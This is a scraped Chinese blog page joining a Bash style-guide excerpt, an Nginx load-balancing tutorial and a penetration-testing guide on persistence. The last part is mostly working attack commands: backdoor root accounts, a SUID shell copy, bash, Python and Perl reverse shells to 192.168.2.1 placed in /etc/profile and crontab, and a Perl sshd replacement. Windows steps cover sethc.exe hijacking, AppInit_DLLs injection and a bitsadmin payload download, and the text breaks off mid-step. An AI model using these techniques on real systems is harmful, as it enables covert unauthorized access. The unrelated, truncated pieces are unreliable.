    # Perform hot backups of MySQL databases.
    
    • 第1行,指明解釋器,使用bash

    #!叫做”Shebang”或者”Sha-bang”(Unix術語中,#號通常稱為sharp,hash或mesh;而!則常常稱為bang),指明了執行這個腳本文件的解釋程序。當然,如果使用bash test.sh這樣的命令來執行腳本,那麼#!這一行將會被忽略掉。

    • 第2-5行,分別為作者、版本號、創建時間、功能說明。

    功能註釋

    任何不是既明顯又短的函數都必須被註釋。任何庫函數無論其長短和複雜性都必須被註釋。

    其他人通過閱讀註釋(和幫助信息,如果有的話)就能夠學會如何使用你的程序或庫函數,而不需要閱讀代碼。

    所有的函數註釋應該包含:

    • 函數的描述
    • 全局變量的使用和修改
    • 使用的參數說明
    • 返回值,而不是上一條命令運行后默認的退出狀態

    例如:

    #!/usr/bin/env bash
    # Author: Rohn
    # Version: 1.0
    # Created Time: 2020/06/06
    # Perform hot backups of Oracle databases.
    
    export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin'
    
    #######################################
    # Cleanup files from the backup dir
    # Globals:
    #   BACKUP_DIR
    #   ORACLE_SID
    # Arguments:
    #   None
    # Returns:
    #   None
    #######################################
    cleanup() {
      ...
    }
    

    TODO註釋

    TODOs應該包含全部大寫的字符串TODO,接着是括號中你的用戶名。冒號是可選的。最好在TODO條目之後加上bug或者ticket的序號。

    例如:

    # TODO(mrmonkey): Handle the unlikely edge cases (bug ####)
    

    格式

    博客:https://www.cnblogs.com/Rohn

    縮進

    縮進兩個空格,沒有製表符。例如:

    if [ a > 1 ];then
      echo '${a} > 1'
    fi
    

    行的長度和長字符串

    行的最大長度為80個字符。例如:

    # DO use 'here document's
    cat <<END;
    I am an exceptionally long
    string.
    END
    
    # Embedded newlines are ok too
    long_string="I am an exceptionally
      long string."
    

    管道

    如果一行容不下整個管道操作,那麼請將整個管道操作分割成每行一個管段。

    應該將整個管道操作分割成每行一個管段,管道操作的下一部分應該將管道符放在新行並且縮進2個空格。這適用於使用管道符|的合併命令鏈以及使用||&&的邏輯運算鏈。

    例如:

    # All fits on one line
    command1 | command2
    
    # Long commands
    command1 \
      | command2 \
      | command3 \
      | command4
    

    循環

    if-else語句

    if; then放在同一行,;后空一格,else單獨一行,fi單獨一行,並與if垂直對齊。即:

    if condition; then
      statement(s)
    else
      statement(s)
    fi
    

    for-do和while-do語句

    while/for; do放在同一行,donewhile/for垂直對齊,即:

    # while structure
    while condition; do
      statement(s)
    done
    
    # for structure
    for condition; do
      statement(s)
    done
    

    例如:

    for dir in ${dirs_to_cleanup}; do
      if [[ -d "${dir}/${ORACLE_SID}" ]]; then
        log_date "Cleaning up old files in ${dir}/${ORACLE_SID}"
        rm "${dir}/${ORACLE_SID}/"*
        if [[ "$?" -ne 0 ]]; then
          error_message
        fi
      else
        mkdir -p "${dir}/${ORACLE_SID}"
        if [[ "$?" -ne 0 ]]; then
          error_message
        fi
      fi
    done
    

    case語句

    • 通過2個空格縮進可選項。
    • 在同一行可選項的模式右圓括號之後和結束符 ;;之前各需要一個空格。
    • 長可選項或者多命令可選項應該被拆分成多行,模式、操作和結束符;;在不同的行。

    匹配表達式比caseesac 縮進一級。多行操作要再縮進一級。一般情況下,不需要引用匹配表達式。模式表達式前面不應該出現左括號。避免使用;&;;&符號。即:

    # case structure
    case in expression in
      pattern1)
        statement1
        ;;
      pattern2)
        statement2
        ;;
      ...
      *)
        statementn
        ;;
    esac
    

    例如:

    case "${expression}" in
      a)
        variable="..."
        some_command "${variable}" "${other_expr}" ...
        ;;
      absolute)
        actions="relative"
        another_command "${actions}" "${other_expr}" ...
        ;;
      *)
        error "Unexpected expression '${expression}'"
        ;;
    esac
    

    只要整個表達式可讀,簡單的命令可以跟模式和;; 寫在同一行。這通常適用於單字母選項的處理。當單行容不下操作時,請將模式單獨放一行,然後是操作,最後結束符;; 也單獨一行。當操作在同一行時,模式的右括號之後和結束符;;之前請使用一個空格分隔。

    verbose='false'
    aflag=''
    bflag=''
    files=''
    while getopts 'abf:v' flag; do
      case "${flag}" in
        a) aflag='true' ;;
        b) bflag='true' ;;
        f) files="${OPTARG}" ;;
        v) verbose='true' ;;
        *) error "Unexpected option ${flag}" ;;
      esac
    done
    

    變量擴展

    按優先級順序:保持跟你所發現的一致;引用你的變量;推薦用${var}而不是$var

    例如

    # Section of recommended cases.
    
    # Preferred style for 'special' variables:
    echo "Positional: $1" "$5" "$3"
    echo "Specials: !=$!, -=$-, _=$_. ?=$?, #=$# *=$* @=$@ \$=$$ ..."
    
    # Braces necessary:
    echo "many parameters: ${10}"
    
    # Braces avoiding confusion:
    # Output is "a0b0c0"
    set -- a b c
    echo "${1}0${2}0${3}0"
    
    # Preferred style for other variables:
    echo "PATH=${PATH}, PWD=${PWD}, mine=${some_var}"
    while read f; do
      echo "file=${f}"
    done < <(ls -l /tmp)
    
    # Section of discouraged cases
    
    # Unquoted vars, unbraced vars, brace-quoted single letter
    # shell specials.
    echo a=$avar "b=$bvar" "PID=${$}" "${1}"
    
    # Confusing use: this is expanded as "${1}0${2}0${3}0",
    # not "${10}${20}${30}
    set -- a b c
    echo "$10$20$30"
    

    特性

    博客:https://www.cnblogs.com/Rohn

    命令替換

    使用 $(command)而不是反引號。

    嵌套的反引號要求用反斜杠轉義內部的反引號。而$(command) 形式嵌套時不需要改變,而且更易於閱讀。

    例如:

    # This is preferred:
    var="$(command "$(command1)")"
    
    # This is not:
    var="`command \`command1\``"
    

    文件名的通配符擴展

    當進行文件名的通配符擴展時,請使用明確的路徑。

    因為文件名可能以-開頭,所以使用擴展通配符./**來得安全得多。

    # Here's the contents of the directory:
    # -f  -r  somedir  somefile
    
    # This deletes almost everything in the directory by force
    psa@bilby$ rm -v *
    removed directory: `somedir'
    removed `somefile'
    
    # As opposed to:
    psa@bilby$ rm -v ./*
    removed `./-f'
    removed `./-r'
    rm: cannot remove `./somedir': Is a directory
    removed `./somefile'
    

    命名約定

    博客:https://www.cnblogs.com/Rohn

    函數名

    使用小寫字母,並用下劃線分隔單詞。使用雙冒號 :: 分隔庫。函數名之後必須有圓括號。關鍵詞 function 是可選的,但必須在一個項目中保持一致。

    如果你正在寫單個函數,請用小寫字母來命名,並用下劃線分隔單詞。如果你正在寫一個包,使用雙冒號 :: 來分隔包名。大括號必須和函數名位於同一行(就像在Google的其他語言一樣),並且函數名和圓括號之間沒有空格。

    # Single function
    my_func() {
      ...
    }
    
    # Part of a package
    mypackage::my_func() {
      ...
    }
    

    當函數名后存在 () 時,關鍵詞 function 是多餘的。但是其促進了函數的快速辨識。

    變量名

    使用小寫字母,循環的變量名應該和循環的任何變量同樣命名。例如:

    for zone in ${zones}; do
      something_with "${zone}"
    done
    

    常量和環境變量名

    全部使用大寫字母,用下劃線分隔,聲明在文件的頂部。例如:

    # Constant
    readonly PATH_TO_FILES='/some/path'
    
    # Both constant and environment
    declare -xr ORACLE_SID='PROD'
    

    源文件名

    使用小寫字母,如果需要的話使用下劃線分隔單詞。例如: maketemplate 或者 make_template ,而不是 make-template

    只讀變量

    使用小寫字母,使用 readonly 或者 declare -r 來確保變量只讀。

    因為全局變量在Shell中廣泛使用,所以在使用它們的過程中捕獲錯誤是很重要的。當你聲明了一個變量,希望其只讀,那麼請明確指出。

    zip_version="$(dpkg --status zip | grep Version: | cut -d ' ' -f 2)"
    if [[ -z "${zip_version}" ]]; then
      error_message
    else
      readonly zip_version
    fi
    

    使用本地變量

    使用小寫字母,使用 local 聲明特定功能的變量。聲明和賦值應該在不同行。

    使用 local 來聲明局部變量以確保其只在函數內部和子函數中可見。這避免了污染全局命名空間和不經意間設置可能具有函數之外重要性的變量。

    當賦值的值由命令替換提供時,聲明和賦值必須分開。因為內建的 local 不會從命令替換中傳遞退出碼。

    my_func2() {
      local name="$1"
    
      # Separate lines for declaration and assignment:
      local my_var
      my_var="$(my_func)" || return
    
      # DO NOT do this: $? contains the exit code of 'local', not my_func
      local my_var="$(my_func)"
      [[ $? -eq 0 ]] || return
    
      ...
    }
    

    調用命令

    博客:https://www.cnblogs.com/Rohn

    檢查返回值

    對於非管道命令,使用$?或直接通過一個if語句來檢查以保持其簡潔。例如:

    if ! mv "${file_list}" "${dest_dir}/" ; then
      echo "Unable to move ${file_list} to ${dest_dir}" >&2
      exit "${E_BAD_MOVE}"
    fi
    
    # Or
    mv "${file_list}" "${dest_dir}/"
    if [[ "$?" -ne 0 ]]; then
      echo "Unable to move ${file_list} to ${dest_dir}" >&2
      exit "${E_BAD_MOVE}"
    fi
    

    Bash也有 PIPESTATUS 變量,允許檢查從管道所有部分返回的代碼。如果僅僅需要檢查整個管道是成功還是失敗,以下的方法是可以接受的:

    tar -cf - ./* | ( cd "${dir}" && tar -xf - )
    if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then
      echo "Unable to tar files to ${dir}" >&2
    fi
    

    可是,只要你運行任何其他命令, PIPESTATUS 將會被覆蓋。如果你需要基於管道中發生的錯誤執行不同的操作,那麼你需要在運行命令后立即將 PIPESTATUS 賦值給另一個變量(別忘了 [ 是一個會將 PIPESTATUS 擦除的命令)。

    tar -cf - ./* | ( cd "${DIR}" && tar -xf - )
    return_codes=(${PIPESTATUS[*]})
    if [[ "${return_codes[0]}" -ne 0 ]]; then
      do_something
    fi
    if [[ "${return_codes[1]}" -ne 0 ]]; then
      do_something_else
    fi
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    上一個章節,我們學習了負載均衡的理論知識,那麼是不是把應用部署多套,前面掛一個負載均衡的軟件或硬件就可以應對高併發了?其實還有很多問題需要考慮。比如:
    
    1. 當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    2. 掛掉的服務器,怎麼才能不再訪問?
    3. 如何保證負載均衡的高可用性?
    
    等等等等...
    
    讓我們帶着這些問題,實戰學習一下 Nginx 的配置和使用。
    

    1. 前置概念

    在正式介紹 Nginx 之前,首先讓我們先了解一下概念。

    1. 中間件

    干 IT 太累了,我準備辭職開了個燒烤攤,賣羊肉串;

    賣羊肉串首先就得有羊肉,於是我就聯繫了很多養殖場,我又是一個比較負責任的人,為了保證羊肉的質量,我就去考察了一家又一家養殖場,同時我也是個“小氣”的人,所以我考察過程中,和對方談判、比價,最終選了一個養殖場作為我的羊肉供應商,為我提供羊肉。

    經營了一陣子,這個養殖場提供的羊肉質量沒有以前好了,那麼我就重新考察、談判、比價,如此反覆,我投入了大量的時間和精力。

    於是我找到了一個信得過的代理公司,約定要羊肉的質量和數量,談好價錢,以後我只找代理商拿貨,具體代理商找的哪家養殖場我不去過問,甚至代理商可以送貨上門。

    在這個例子裏面,賣燒烤就是業務,我的燒烤攤是業務端,養殖場是底層,而 這個信得過的代理公司,就是中間件。

    2. 正向代理和反向代理

    正向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我就派我的管家回老家考察;管家就是正向代理服務器;正向代理服務器代表了客戶端,在正向代理的過程中,服務端只和代理服務器打交道(房東只和我的管家談),並不知道真正的客戶端是誰。

    反向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我打個電話聯繫了老家的房屋中介去辦這件事兒;房屋中介就是反向代理;這裏的反向代理,代表的是房東,在反向代理的過程中,客戶端只和反向代理服務器打交道,並不知道真正的服務端是誰。

    當然,我的管家也可以聯繫我老家的房屋中介,那麼架構圖就會變成:

    2. Nginx 的概念

    了解完上面的幾個概念,那麼 Nginx 的概念理解起來就簡單很多了:

    Nginx 就是一個開源的、高性能的、可靠的 Http 中間件; 它經常被用作 Http 代理、反向代理、負載均衡等等,當然它也能做正向代理,但是實際很少有這麼用的。

    3. 最簡單的 Nginx 使用示例

    本章節項目的代碼:chapter3

    Step 1. 部署多套環境

    我們將章節 1 中的項目 chapter1 複製出來一份,改名為 chapter3,表示是第 3 章節的項目,同時修改:

    1. pom.xml 中的 artifactId 修改為 chapter3
    2. application.yml 中的 server.port 修改成 8089

    這樣我們分別啟動 chapter1 和 chapter3,這樣就相當於把相同的項目部署了兩套,端口分別是 8088 和 8089 。

    Step 2. 下載 Nginx

    我們可以在 Nginx 的官網 下載我們所需的版本,因為我使用 windows 環境開發,所以我在這裏就選擇了 nginx/Windows-1.14.2 這個版本。

    下載完成解壓縮,不需要額外的安裝,可以直接使用。

    Step 3. 配置 Nginx

    進入 nginx-1.14.2\conf 目錄下,用文本編輯器打開 nginx.conf,對配置文件進行如下修改:

    1. 在 http 中增加 upstream,並配置兩台環境的地址;
    2. 在 http.server.location 中增加 proxy_pass 的配置;

    http {
        ...
    
        #增加 upstream 的配置,其中 myserver 是自己起的名字
        upstream myserver{
    	     server 127.0.0.1:8088;  #有幾套環境,就配置幾條
    	     server 127.0.0.1:8089;
        }
    
        server {
            listen       80;
            server_name  localhost;
    
            #charset koi8-r;
    
            #access_log  logs/host.access.log  main;
    
            location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver; #增加,其中 http://myserver 的 myserver 要和上文對應
            }
    
          }
        }
        ...
    }
    

    完整配置文件請參考:nginx.conf

    Step 4. 啟動 Nginx

    我們可以直接雙擊 nginx-1.14.2 目錄下的 nginx.exe 啟動;也可以通過 cmd 命令打開控制台,進入 nginx-1.14.2 目錄執行如下命令啟動 Nginx:

    start nginx //啟動 Nginx ;啟動后可能一閃而過,我們可以看一下任務管理器是否有名字叫做 nginx.exe 的進程
    
    nginx.exe -s stop //停止 Nginx
    nginx.exe -s quit //停止 Nginx
    

    Step 5. 測試 Nginx

    讓我們測試一下 Nginx 是否配置並啟動成功,打開瀏覽器輸入:

    http://127.0.0.1/queryAdmin
    

    注意這裏並沒有加端口號,是因為 url 中沒有端口號的時候表示端口號為 80,而我們 Nginx 的配置文件中,監聽的正是 80 端口 (listen 80);我們可以在瀏覽器中看到服務返回的結果:

    User : Admin
    

    這就說明 Nginx 已經轉發了我們的請求到了服務端,並正確返回,那麼負載均衡是如何體現的呢?讓我們多刷新幾次瀏覽器,然後看看後台日誌:

    我前後一共調用了 5 次服務,可以看到兩個服務端分別接收到了 2 次和 3 次請求,負載均衡達到了效果。

    4. Nginx 常見的路由策略

    1. 輪詢法

    最簡單的輪詢法,多餘的配置不需要增加。

    upstream myserver{
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    2. 源地址哈希法

    使用 ip_hash 關鍵字,每一個請求,都按 hash(IP) 的結果決定訪問哪台服務器;

    upstream myserver{
       ip_hash; # hash(IP)
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    如果我們本地測試,多次訪問接口,可以發現請求永遠落到同一個服務上,因為本地 IP 一直沒有改變。

    3. 加權輪詢法

    使用 weight 關鍵字,設置每台服務器的權重;

    upstream myserver{
       server 127.0.0.1:8088 weight=1;  # 20% 請求會發給8088
       server 127.0.0.1:8089 weight=4;
    }
    

    4. 最小連接數法

    根據每個服務器節點的連接數,動態地選擇當前連接數最少的服務器轉發請求;

    upstream myserver{
       least_conn;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    5. 最快響應速度法

    根據每個服務器節點的響應時間(請求的往返延遲),動態地選擇當前響應速度最快的服務器轉發請求;需要額外安裝 nginx-upstream-fair 模塊。

    upstream myserver{
       fair; # 額外安裝 nginx-upstream-fair 模塊
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    6. URL 哈希算法

    對 URL 進行 Hash 運算,根據結果來分配請求,這樣每個 URL 都可以訪問到同一個服務端;當服務端有緩存的時候,比較有效。

    upstream myserver{
       hash $request_uri;
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    也可以安裝第三方模塊,比如我們要使用 URL 一致性哈希算法,那麼我們可以安裝 ngx_http_upstream_consistent_hash 模塊。

    upstream myserver{
       consistent_hash $request_uri;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    參考資料:Upstream Consistent Hash

    5. Nginx 常用功能

    5.1 請求失敗重試

    當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    

    我們可以先做個試驗,就是關閉 8089 端口的服務,只保留 8088 端口的服務,然後調用幾次接口,如果其中一次調用長時間不返回(瀏覽器訪問狀態圖標一直在打轉),表示本次請求發送到了 8089 端口,那麼讓我們等待一段時間…大約一分鐘之後,8080 端口服務的後台日誌,打印出來日誌,調用端接收到了返回,這說明:

    1. Nginx 默認有失敗重試機制;
    2. 默認的超時時間為 60s 。

    這裏的超時時間是可以修改的,需要在 http.server.location 中增加如下配置:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    完整配置文件請參考:設置超時重試時間5秒-nginx.conf

    不過這裏要注意一點,如果設置了服務器相應超時時間(比如設置了 10s ),萬一應用的業務處理時間比較慢(業務處理花費了 15s ),那麼會導致 Nginx 超時重試,那麼可能會造成重複處理。

    5.2 後端服務器節點健康狀態檢查

    如果掛掉一台服務器,路由到這台服務器請求每次都要等到超時時間過去,才能發起重試,如果 Nginx 不再把請求發送給掛掉的服務器,那就省事多了;
    
    這就叫做“後端服務器節點健康狀態檢查”。
    

    如果不安裝第三方模塊,可以做如下配置完成“後端服務器節點健康狀態檢查”:

    1. 設置超時時間:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    2. 設置嘗試重試的次數:

    upstream myserver{
      	server 127.0.0.1:8088 max_fails=1 fail_timeout=100s;
      	server 127.0.0.1:8089 max_fails=1 fail_timeout=100s;
    }
    

    其中 max_fails 表示最多失敗次數,fail_timeout 表示在一個時間段內,服務器不會再次嘗試訪問;上面的配置表示在 100s 內,只要超時失敗 1 次,就不再訪問該服務器。

    完整配置文件請參考:設置超時重試時間5s-失敗1次100秒之內不再訪問-nginx.conf

    除此之外,我們還可以安裝第三方模塊來實現“後端服務器節點健康狀態檢查”:

    • nginx_upstream_check_module
    • ngx_http_healthcheck_module

    5.3 Nginx 的高可用

    以為使用 Nginx ,部署了多台應用服務器,可以保證應用服務器的高可用(掛掉一台,還有其他服務器可以用);
    
    但是如何保證負載均衡的高可用性?也就是萬一 Nginx 掛了怎麼辦?
    

    Nginx 同樣也需要部署多台,架構大概是這個樣子的:

    現在應用比較廣泛的是利用 keepalived 實現 Nignx 的高可用:

    5.4 其他

    除了以上的常見功能,強大的 Nginx 還可以:

    1. 限制 IP 訪問頻率和帶寬佔用;
    2. 緩存靜態資源;
    3. 文件壓縮;
    4. TCP 負載;
    5. 防盜鏈;
    6. 等等等等…

    總結

    我們現在的架構已經變成了:

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 滲透測試-權限維持

    linux權限維持

    添加賬號

    一般在具有root權限時可以使用以下2種方式添加root權限用戶

    1.通過useradd,後面賬號backdoor/123456

    useradd -u 0 -o -g root -G root backdoor
    
    echo 123456:password|chpasswd
    

    2.通過直接對etc/passwd文件進行寫入

    perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果
    
    # 123456加密后的結果為AASwmzPNx.3sg
    
    echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中
    

    清理以上痕迹

    userdel -f backdoor
    

    設置sid位的文件

    在具有高權限時,將高權限的bash文件拷貝隱藏起來,設置其suid位,則可後面通過低權限用戶獲取高權限操作

    在高權限時

    cp /bin/bash /tmp/.bash
    
    chmod 4755 /tmp/.bash  #設置suid
    

    使用時帶上-p參數

    /tmp/.bash -p
    

    清理痕迹

    rm -rf /tmp/.bash
    

    通過環境變量植入後門

    以下是環境變量的位置

    /etc/profile
    /etc/profile.d/*.sh
    ~/.bash_profile
    ~/.profile
    ~/.bashrc
    ~/bash_logout
    /etc/bashrc
    /etc/bash.bashrc
    

    寫入shell反彈語句

    echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile
    

    這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

    以下文件需要高權限,為全局變量

    /etc/profile
    /etc/profile.d/*.sh
    /etc/bashrc
    /etc/bash.bashrc
    

    以下為當前用戶的環境變量

    ~/.bash_profile		#實驗過程中沒有反應
    ~/.profile				#登錄後會接收shell,但是加載桌面時會卡住
    ~/.bashrc					#打開shell窗口時會接收shell,但正常的shell窗口會卡住
    ~/bash_logout			#實驗過程中沒有反應
    

    清理痕迹

    刪除配置文件中添加的代碼即可

    寫入ssh公鑰

    首先在本地生成ssh公鑰和私鑰

    在自己的~/.ssh/目錄下執行

    ssh-keygen -t rsa
    

    會生成以下三個文件,id_rsa.pub為公鑰,id_rsa為私鑰

    id_rsa      id_rsa.pub  known_hosts
    

    xxx為公鑰內容,也就是id_rsa.pub的內容

    echo "xxx" >> ~/.ssh/authorized_keys
    

    清理痕迹

    刪除目標上的 ~/.ssh/authorized_keys即可

    ssh任意密碼登錄

    在root用戶時,suchfnchsh命令不需要輸入密碼認證

    通過軟連接將ssh的服務進行cp,並重命名為以上命令

    ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接,軟連接文件名為su或chfn或chsh
    /tmp/su -oPort=12345								#通過軟連接的文件,開啟ssh連接-oPort指定開啟端口
    

    連接

    ssh root@host -p 12345
    
    #密碼隨便輸入即可登錄,並且可登錄任意賬號
    

    清理方式

    netstat -antp | gerp -E "su|chfn|chsh"
    #找到進程號xxx
    ps aux | grep xxx
    #找到軟連接位置/aaa/bbb/su
    kill xxx
    rm -rf /aaa/bbb/su
    

    修改sshd文件做到無認證登錄

    建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接,此時對sshd文件內容進行修改,則能做到無認證登錄

    將原先的sshd文件進行轉義

    mv /usr/sbin/sshd /usr/bin/sshd
    

    開始使用perl進行寫腳本

    echo '#!/usr/bin/perl' > /usr/sbin/sshd
    echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd
    

    其實整個腳本在第二行執行了個if,如果端口符合要求,則直接建立連接,否則正常執行sshd

    其中的LF代表開啟的端口號是19526

    python2
    >> import struct
    >> print struct.pack('>I6',19526) 
    #輸出的內容為 LF
    

    賦予新文件權限並重啟sshd

    chmod u+x sshd
    service sshd restart
    

    連接方式

    socat STDIO TCP4:172.16.177.178:22,bind=:19526
    

    清除痕迹

    #刪除自定義的sshd
    rm -rf /usr/sbin/sshd
    #將同版本的sshd拷貝到對應目錄下
    mv /usr/bin/sshd /usr/sbin/sshd
    

    利用vim可執行python腳本預留後門

    先準備個python的反彈shell腳本

    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
    

    找到提供vim插件的python的擴展包目錄

    vim --version  #查看使用的python版本
    

    找到python的擴展位置

    pip show requests
    

    進入目錄

    cd /usr/lib/python2.7/site-packages
    

    將內容寫入

    echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py
    

    運行,並刪除文件

    $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
    

    清除痕迹

    ps aux|grep vim
    #獲取pid
    kill pid
    

    計劃任務

    因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

    這裏藉助python,或者perl都可

    使用python

    echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -
    

    使用perl

    echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -
    

    清除痕迹

    如果通過crontab -e 不知道為啥會頂掉上一個

    crontab -l			#只看得到一個
    crontab -r			#刪除所有計劃任務
    

    動態加載庫

    使用export LD_PRELOAD=./xx.so

    這時候./xx.so中如果對函數進行了重定義,調用了該函數的程序就會執行重定義的代碼

    這裏使用以下項目

    https://github.com/Screetsec/Vegile
    

    準備2個文件

    • msf的木馬
    • Veglie項目

    使用方法將MSF木馬Vegile上傳到目標服務器上,把項目目錄弄成http服務

    python -m SimpleHTTP
    

    目標服務器上

    wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
    wget http://xxx.xxx.xx.xxx:8000/shell
    

    解壓后運行

    unzip Vegile.zip
    chmod 777 Vegile shell
    ./Vegile --u shell
    

    清理痕迹

    清理起來十分麻煩,因為直接刪除進程是刪不掉的,因此存在父進程與多個子進程

    清理思路掛起父進程,清除所有子進程再刪除父進程

    windows權限維持

    比較常見的windows提取

    ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
    ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
    ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞
    

    計劃任務

    拿到shell后先修改編碼

    chcp 65001
    

    設置計劃任務,每分鐘調用運行一次shell

    schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00
    

    清理痕迹

    控制面板->管理工具->任務計劃程序->找到惡意計劃任務
    在 操作 中找到調用的腳本,進行文件刪除
    刪除惡意計劃任務
    

    映像劫持

    在程序運行前會去讀自己是否設置了debug,需要對劫持的程序有權限

    以下通過註冊表對setch.exe設置了debug為cmd.exe程序,也就是按5下shift會彈出cmd的框

    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
    

    清理痕迹

    HKLM是HKEY_LOCAL_MACHINE

    找到目標的註冊表,將debug內容刪除

    環境變量

    用戶登陸時會去加載環境變量,通過設置環境變量UserInitMprLogonScript值,實現登陸時自動運行腳本

    reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f
    

    清理痕迹

    直接找到 開始->用戶頭像->更改我的環境變量

    進程退出劫持

    在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”
    

    清理痕迹

    找到目標的註冊表刪除即可

    AppInit_DLLs注入

    User32.dll 被加載到進程時,設置其註冊表的中能設置加載其他的dll文件,則可使其加載惡意的腳本

    對HKML註冊表的內容進行修改一般都要system權限

    Windows 10

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    

    其他

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f
    

    這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

    清理痕迹

    到對應註冊表的位置刪除Appinit_Dlls的值

    bits文件傳輸

    通過bitsadmin從網絡上下載的時候可以額外執行腳本

    bitsadmin /create test
    
    隨意下載
    bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 
    
    執行的命令
